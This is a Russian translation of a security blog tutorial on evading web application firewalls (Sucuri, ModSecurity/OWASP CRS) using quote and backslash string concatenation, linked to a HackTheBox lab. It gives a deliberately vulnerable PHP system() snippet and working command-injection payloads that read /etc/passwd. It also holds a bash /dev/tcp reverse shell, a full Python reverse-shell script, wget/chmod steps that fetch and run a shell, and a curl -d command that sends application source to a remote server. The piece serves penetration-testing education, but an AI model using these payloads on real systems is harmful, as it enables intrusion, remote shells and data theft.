Методы уклонения от Web Application Firewall (WAF) часть 2

Spread the love

Перевод статьи: theMiddleWeb Application Firewall (WAF) Evasion Techniques #2

В первой части статьи WAF Evasion Techniques мы рассмотрели способы обхода правил WAF с использованием подстановочных знаков (более конкретно с использованием вопросительного знака). Очевидно, есть много других способов обойти набор правил WAF, и я думаю, что каждая атака имеет свою особую технику уклонения. Например: использование синтаксиса комментариев внутри полезной нагрузки SQL-инъекций может обойти многие фильтры. Я имею в виду вместо использования union+select вы можете использовать что-то вроде:

/?id=1+un/**/ion+sel/**/ect+1,2,3--

Это отличная техника, и она хорошо работает, когда целевой WAF имеет низкий уровень паранойи, который допускает символы звездочки * и дефиса. Но это должно работать только для SQL-инъекций и не может использоваться для использования Local File Inclusion или удаленного выполнения команд (Remote Command Execution). Но некоторые сценарии являются «настоящим кошмаром» для WAF, который должен защищать веб-приложение от атак удаленного выполнения команд… они называются конкатенация строк (concatenated strings).

Если вы хотите попрактиковаться с некоторыми из этих методов уклонения, недавно я создал FluxCapacitor, преднамеренно уязвимую виртуальную машину в hackthebox. Эта статья не содержит подсказок для решения конкретного сценария FluxCapacitor, но может улучшить ваши знания об этой технике.

Конкатенация строк

Во многих языках программирования конкатенация строк является двоичным инфиксным оператором. Оператор + (плюс) часто используется для обозначения конкатенации строковых аргументов: “Hello, ” + “World” имеет значение «Hello, World». В других языках есть отдельные операторы. Например . (точка) в Perl и PHP, .. (двоеточие) в Lua и т. д.

$ php -r 'echo "hello"." world"."\n";'
hello world$ python -c 'print "hello" + " world"'
hello world

Но если вы думаете, что это единственный способ объединить строки, вы абсолютно ошибаетесь. 🧐

В некоторых языках, таких как C, C ++, Python и Bash, есть нечто, называемое конкатенацией строковых литералов (string literal concatenation), что означает, что смежные строковые литералы объединяются без какого-либо оператора: “Hello, ” “World” имеет значение “Hello, World”. Это работает не только для команд printf и echo, но и для всего синтаксиса bash. Давайте начнем с самого начала.

Каждая из следующих команд имеет одинаковый результат:

# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'
Image for post
Конкатенация строки test используя Bash и Python

Это происходит потому, что все смежные строковые литералы объединяются. Фактически ‘te’s’t’ состоит из трех строк: строки te, строки s и строки t. Этот синтаксис может использоваться для обхода фильтра (или правила WAF), основанного на «фразах соответствия – match phrases» (например, оператор pm в ModSecurity).

Правило SecRule ARGS “@pm passwd shadow groups”… в ModSecurity блокирует все запросы, содержащие passwd или shadow. Но что, если мы конвертируем их в pa’ss’wd или sh’ad’ow? Как и синтаксис SQLi, который мы видели ранее, который разделяет запрос с помощью комментариев, здесь мы также можем разделять имена файлов и системные команды, используя одинарные кавычки, и создавая группы объединенных строк. Конечно, вы можете использовать объединенную строку в качестве аргумента любой команды, но Bash позволяет объединять пути даже для выполнения!

Несколько примеров одной и той же команды:

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
Image for post
Image for post
Использование объединенной строки в качестве аргумента команды cat или в качестве пути для исполняемого файла cat

Теперь предположим, что вы обнаружили удаленное выполнение команды в параметре url вашего приложения. Если есть правило, которое блокирует фразы типа “etc, passwd, shadow, etc…”, Вы можете обойти его примерно так:

curl .../?url=;+cat+/e't'c/pa'ss'wd

Пришло время сделать несколько тестов! Я буду использовать следующий код PHP, чтобы протестировать его, как обычно, с Sucuri WAF и ModSecurity. Возможно, читая этот код, вы подумаете, что он слишком глуп и прост, и никто не использует curl внутри функции system() вместо использования функций curl в PHP… Если вы так думаете, вы живете в лучшем мире, чем я ! 🙂 Вы будете удивлены тем, сколько раз я читал подобные вещи в исходном коде приложений с которыми мне пришлось встретиться. Код PHP, который я буду использовать:

<?php   if ( isset($_GET['zzz']) ) {
system('curl -v '.$_GET['zzz']);
}

Sucuri WAF

Я думаю, что кто-то в Sucuri удалит мою учетную запись вскоре после этих двух статей. Но я клянусь: я использую Sucuri WAF для сравнения с ModSecurity, не потому, что я думаю, что одна лучше, чем другая. У Sucuri отличный сервис, и я использую его в качестве примера только потому, что он широко используется, и все его пользователи, читая эту статью, могут лучше протестировать эту технику в своих веб-приложениях.

Прежде всего, я попытаюсь использовать это приложение PHP для получения тела ответа от google.com без кодирования значения параметра:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

Это работает, как и ожидалось, на странице google.com 302 написано, что я должен следовать по местоположению www.google.de (Google правильно определил местоположение моего сервера во Франкфурте):

Image for post

Теперь есть много вещей, которые я мог бы сделать, чтобы использовать это уязвимое приложение. Одно из них – разбить синтаксис curl точкой с запятой ; и попробовать выполнить другие системные команды. Например прочитать файл /etc/passwd file…:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

Sucuri WAF заблокировала этот запрос по следующей причине: «An attempted RFI/LFI was detected and blocked». Я думаю (просто предположение, потому что пользователи не могут видеть точные правила блокировки Sucuri WAF), что правило Sucuri «RFI/LFI Attempt» использует что-то вроде «соответствия фраз», которые мы видели ранее, со списком общих путей и имен файлов, такие как etc/passwd. Но этот WAF имеет очень минималистский набор правил и очень низкий «уровень паранойи» по умолчанию, которые позволяют мне обойти это правило, используя всего две одинарные кавычки!

curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"
Image for post
Обход правил Sucuri WAF с помощью двух одинарных кавычек

Я знаю, о чем вы думаете: «Хорошо, вы можете прочитать файл passwd, минуя весь набор правил WAF… но реальный, самый большой, самый важный из всех вопросов: вы можете получить доступ к оболочке, при том что Sucuri WAF активен и защищает ваше приложение?” natürlich да! Единственная проблема в том, что мы не можем использовать netcat, потому что он не установлен в целевом контейнере, и да: я проверил это с помощью удаленного выполнения команды 🙂

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"$

Самый простой способ (с несколькими специальными символами, которые могут быть заблокированы WAF) – использовать команду bash -i: bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, но, к сожалению, она слишком сложна для обхода всех правил с этой полезной нагрузкой, и это означает, что будет трудно использовать некоторый код PHP, Perl или Python для его получения. Sucuri WAF блокирует мои дальнейшие попытки по следующей причине: Obfuscated attack payload detected (обнаружена скрытая полезная нагрузка атаки). Супер! не так ли?

Вместо того чтобы пытаться получить оболочку, используя непосредственно уязвимый параметр, я могу попытаться загрузить обратную оболочку Python в доступный для записи каталог, используя curl или wget. Сначала подготовим код Python vi shell.py:

#!/usr/bin/pythonimport socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Затем предоставим доступ к целевому веб-серверу, как обычно, используя python -c SimpleHTTPServer или php -S и т. д. Затем загрузим файл shell.py с целевого веб-сайта, я использовал следующий синтаксис:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
Image for post
shell uploaded using curl
Image for post
python reverse shell thru the Sucuri WAF

Хорошо, Sucuri WAF не заблокировал этот запрос, но обычно ModSecurity блокирует такое 🙂 Если вы хотите быть уверены, что можете обойдете все типы правил «совпадение фраз», вы можете использовать wget + преобразование ip-to-long  + string конкатенации:

.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html

Первая команда использует wget для загрузки файла оболочки в /tmp/. Вторая использует chmod, чтобы сделать его исполняемым, а третья выполняет его. Как видите, в запросе команды wget нет конкретного файла, поэтому загруженный файл называется wget index.html. Вы можете открыть этот файл с помощью netcat nc, написав вручную заголовки и тело ответа, что-то вроде этого:

Image for post
Using netcat to answer the HTTP request from RCE

Теперь самая сложная часть …

Обход ModSecurity и OWASP Core Rule Set

Возможно, вы думаете, что с низким уровнем паранойи в ModSecurity вы можете обойти основной набор правил OWASP с помощью этих методов, как мы видели в первой статье … хм, в основном нет. Это из-за двух небольших вещей, называемых normalizePath и cmdLine. В ModSecurity они называются «функциями преобразования» и используются для изменения входных данных, прежде чем они будут использованы при сопоставлении (например, выполнение оператора). Входные данные никогда не изменяются. ModSecurity создаст копию данных, преобразует их и затем запускает оператор в зависимости от результата.

normalizePath: удаляет из входной строки все символы косой черты, собственных ссылок на каталоги и обратных ссылок на каталоги (кроме тех случаев, когда они находятся в начале ввода).

cmdLine: разрушит все ваши мечты о взломе :), разработанный Марком Стерном, эта функция преобразования избегает использования escape-последовательностей путем нормализации значений параметров и запуска всех правил, таких как LFI, RCE, Unix Command и т. д. Например /e’t’c/pa’ss’wd нормализуется до /etc/passwd перед любой оценкой правил. Оня делает много вещей!:

  • удаляет все обратные слеши \
  • удаляет все двойные кавычки "
  • удаляет все одинарные кавычки '
  • удаляет всех carets ^
  • удаляет пробелы перед косой чертой /
  • удаляет пробелы перед открывающей скобкой (
  • заменяет все запятые , и точки с запятой ; пробелами
  • заменяет все группы пробелов (включая табуляцию, перевод строки и т. д.) в один пробел
  • преобразует все символы в нижний регистр

Все попытки использовать RCE с конкатенацией строк блокируются правилом 932160 из-за функции преобразования cmdLine:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )""o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase""ruleId":"932160"

Хорошо, я не могу прочитать /etc/passwd, но не отчаивайтесь! Основной набор правил OWASP знает общие файлы, пути и команды для их блокировки, но он не может делать то же самое с исходным кодом целевого приложения. Я не могу использовать символ точку с запятой ; (и это означает, что я не могу нарушить синтаксис curl), но я могу использовать curl для того, чтобы отфильтровать файлы и отправить их на мой удаленный сервер. Это будет работать с уровнем паранойи от 0 до 3.

Хитрость заключается в том, чтобы отправлять файлы на удаленный сервер в теле запроса HTTP-запроса POST, и curl может сделать это с помощью параметра данных -d:

curl -d @/<file> <remote server>

Следующий запрос кодирует @ в %40:

curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
Image for post

Все это не будет работать, если для цели задан уровень паранойи 4, потому что полезная нагрузка содержит такие символы, как дефис, косая черта и т. д. Хорошая новость заключается в том, что уровень паранойи 4 действительно редко встречается в производственной среде.

Обратный слэш это новая одинарная ковычка

Та же самая техника работает с использованием символа обратной косой черты \ . Это не строка конкатенации, а просто escape-последовательность:

Image for post

Это все на данный момент.

-theMiddle

Полезные ссылки

Обход WAF Positive Technology https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf

Брандмауэры веб-приложений: механизмы обнаружения атак Vladimir Ivanov (blackhat USA 2016)
https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf

SQLi Обход WAF на OWASP Dhiraj Mishra
 https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

Спасибо

Все пользователи HTB, которые поделились со мной своим подходом к FluxCapacitor, а именно: arkantolo, snowscan, decoder, phra

Контакты

Andrea (theMiddle) Menin
Twitter: https://twitter.com/Menin_TheMiddle
GitHub: https://github.com/theMiddleBlue
Linkedin: https://www.linkedin.com/in/andreamenin/

Была ли вам полезна эта статья?
[1 / 5]

Spread the love
Подписаться
Уведомление о
guest
0 Комментарий
Inline Feedbacks
View all comments